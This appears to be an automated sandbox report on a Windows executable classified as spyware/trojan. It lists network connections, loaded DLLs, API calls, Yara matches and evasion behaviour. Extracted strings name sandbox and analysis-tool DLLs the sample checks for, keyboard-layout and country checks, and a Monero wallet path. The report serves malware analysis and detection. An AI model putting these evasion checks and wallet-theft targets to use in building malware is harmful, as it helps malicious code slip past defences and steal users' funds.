Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.142.154:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49742 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: aZm1EZ2IYr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0018145B GetCurrentProcess,NtQueryInformationProcess,

0_2_0018145B

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019C4B7	0_2_0019C4B7
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001AD983	0_2_001AD983
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001AD213	0_2_001AD213
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019954F	0_2_0019954F
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001ACD7E	0_2_001ACD7E
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001ADD6B	0_2_001ADD6B
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001AD5B1	0_2_001AD5B1
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019B757	0_2_0019B757

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: String function: 001847E8 appears 38 times
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: String function: 001905DE appears 71 times
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: String function: 001904BC appears 36 times

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2220

Source: aZm1EZ2IYr.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/11@3/3

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0019147A CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_0019147A

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0019196C __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z,__EH_prolog3_catch,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear,

0_2_0019196C

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199786602107[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7336

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: aZm1EZ2IYr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aZm1EZ2IYr.exe	ReversingLabs: Detection: 73%
Source: aZm1EZ2IYr.exe	Virustotal: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\aZm1EZ2IYr.exe "C:\Users\user\Desktop\aZm1EZ2IYr.exe"
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2220
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2384

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00198995 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00198995

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001AF192 push ecx; ret	0_2_001AF1A5
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001A2D89 push esi; ret	0_2_001A2D8B
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019DE05 push ecx; ret	0_2_0019DE18

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

0_2_00198995

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: aZm1EZ2IYr.exe, type: SAMPLE
Source: Yara match	File source: 0.2.aZm1EZ2IYr.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aZm1EZ2IYr.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aZm1EZ2IYr.exe PID: 7336, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\azm1ez2iyr.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: aZm1EZ2IYr.exe	Binary or memory string: DIR_WATCH.DLL
Source: aZm1EZ2IYr.exe	Binary or memory string: SBIEDLL.DLL
Source: aZm1EZ2IYr.exe	Binary or memory string: API_LOG.DLL
Source: aZm1EZ2IYr.exe	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL23:02:2823:02:2823:02:2823:02:2823:02:2823:02:28DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

0_2_0018180D

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00190DB0 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00190EC3h

0_2_00190DB0

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00196013 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00196013
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018B914 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0018B914
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00195B4D GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00195B4D
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019547D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_0019547D
